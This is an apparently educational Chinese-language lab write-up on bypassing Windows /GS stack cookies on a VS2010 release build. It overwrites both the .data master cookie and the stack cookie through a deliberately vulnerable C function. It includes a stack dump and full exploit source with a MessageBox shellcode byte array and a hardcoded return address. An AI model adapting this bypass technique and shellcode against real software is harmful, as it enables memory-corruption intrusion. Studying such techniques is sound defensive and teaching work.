原理简述
替换.data中保存的数值为0x909090,替换栈中的数值为0x909090 xor ebp(所在函数帧的),溢出“正面绕过”GS
main函数特点:距离ret近,而且有三个参数
gs过程1,gs原理简述。从.data中取出cookie(cookie_ori),运算之后放入栈中成为cookie_now,这里cookie_ori在.data中的存放地址是0x40b004,放入栈中0x12ff5c。反汇编指令如下图。
gs过程2,修改.data中的cookie,反汇编如下:
之前的.data
之后的.data
gs过程3,修改栈中的cookie(cookie_now = cookie xor
cookie_ori),考的是溢出,溢出是通过strcpy,这里的strcpy函数反汇编如下图。
栈溢出之前的状态
栈溢出之后的状态
CPU Stack
地址
数值 注释
0012FE7C
00407A62 ; 从返回 ntdll.RtlEnterCriticalSection 自 gs3.00407A62
0012FE80 0012FE90
0012FE84 0012FF68
0012FE88 0040BE98
0012FE8C 0040B004
0012FE90 90909090 ;这里是shellcode中保存的.data数值
0012FE94 0A6A68FC
;从上一句开始是shellcode的开头了
0012FE98 63681E38
0012FE9C 684FD189
0012FEA0 0C917432
0012FEA4 7E8DF48B
0012FEA8 B7DB33F4
0012FEAC 66E32B04
0012FEB0 533233BB
0012FEB4 65737568
0012FEB8 D2335472
0012FEBC 305A8B64
0012FEC0 8B0C4B8B
0012FEC4 098B1C49
0012FEC8 AD08698B
0012FECC 380A6A3D
0012FED0 9505751E
0012FED4 95F857FF
0012FED8 3C458B60
0012FEDC 78054C8B
0012FEE0 598BCD03
0012FEE4 33DD0320
0012FEE8 348B47FF
0012FEEC 99F503BB
0012FEF0 3A06BE0F
0012FEF4 C10874C4
0012FEF8 D00307CA
0012FEFC 3BF1EB46
0012FF00 751C2454
0012FF04 24598BE4
0012FF08 8B66DD03
0012FF0C 598B7B3C
0012FF10 03DD031C
0012FF14 5F95BB2C
0012FF18 3D6157AB
0012FF1C 1E380A6A
0012FF20 DB33A975
0012FF24 65776853
0012FF28 66687473
0012FF2C 8B6C6961
0012FF30 505053C4
0012FF34 FC57FF53
0012FF38 F857FF53
0012FF3C 90909090
0012FF40 90909090
0012FF44 90909090
0012FF48 90909090
0012FF4C 90909090
0012FF50 90909090
0012FF54 90909090
0012FF58 90909090
0012FF5C 90826FF0
0012FF60 90909090
0012FF64 0012FE94 ;这里是被溢出的返回地址(shellcode所在地)
;shellcode结束
提醒
原文除了从malloc返回地址与.data中cookie的差值需要重新计算外,shellcode中的0x909090 xor ebp
之后的值也应该修改,因为ebp不同的系统差异造成值不一样。
纪念一下
1 /***名称:替换.data与栈cookie突破GS************/
2 /***编译条件:vs2010,禁止优化选项,release版本***/
3 /***实践:Hualian***************************/
4
5 #include<stdafx.h>
6 #include<string.h>
7 #include<stdlib.h>
8
9 char Shellcode[]=
10 "\x90\x90\x90\x90"
11 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
12 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
13 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
14 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
15 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
16 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
17 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
18 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
19 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
20 "\x53\x68\x69\x61\x6e\x22\x68\x48\x75\x61\x6c\x8B\xC4\x53\x50\x50"//\x66\x61\x69\x6C
21 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
24 "\xF0\x6F\x82\x90"
25 "\x90\x90\x90\x90"
26 "\x94\xFE\x12\x00"//\x91\x91\x91\x91
27 ;
28
29 void test (char *s, int i, char *src)
30 {
31 char dest[200];
32 if(i<0x9995)
33 {
34 char *buf = s + i;
35 *buf = *src;
36 *(buf + 1) = *(src +1);
37 *(buf + 2) = *(src +2);
38 *(buf + 3) = *(src +3);
39 strcpy(dest,src);
40 }
41 }
42
43 void main()
44 {
45 char * str = (char*)malloc(0x10000);
46 printf("look");
47 test(str, 0xFFFFAFBC/*待确定*/,Shellcode);
48 }
同时替换.data与栈中的Cookie突破GS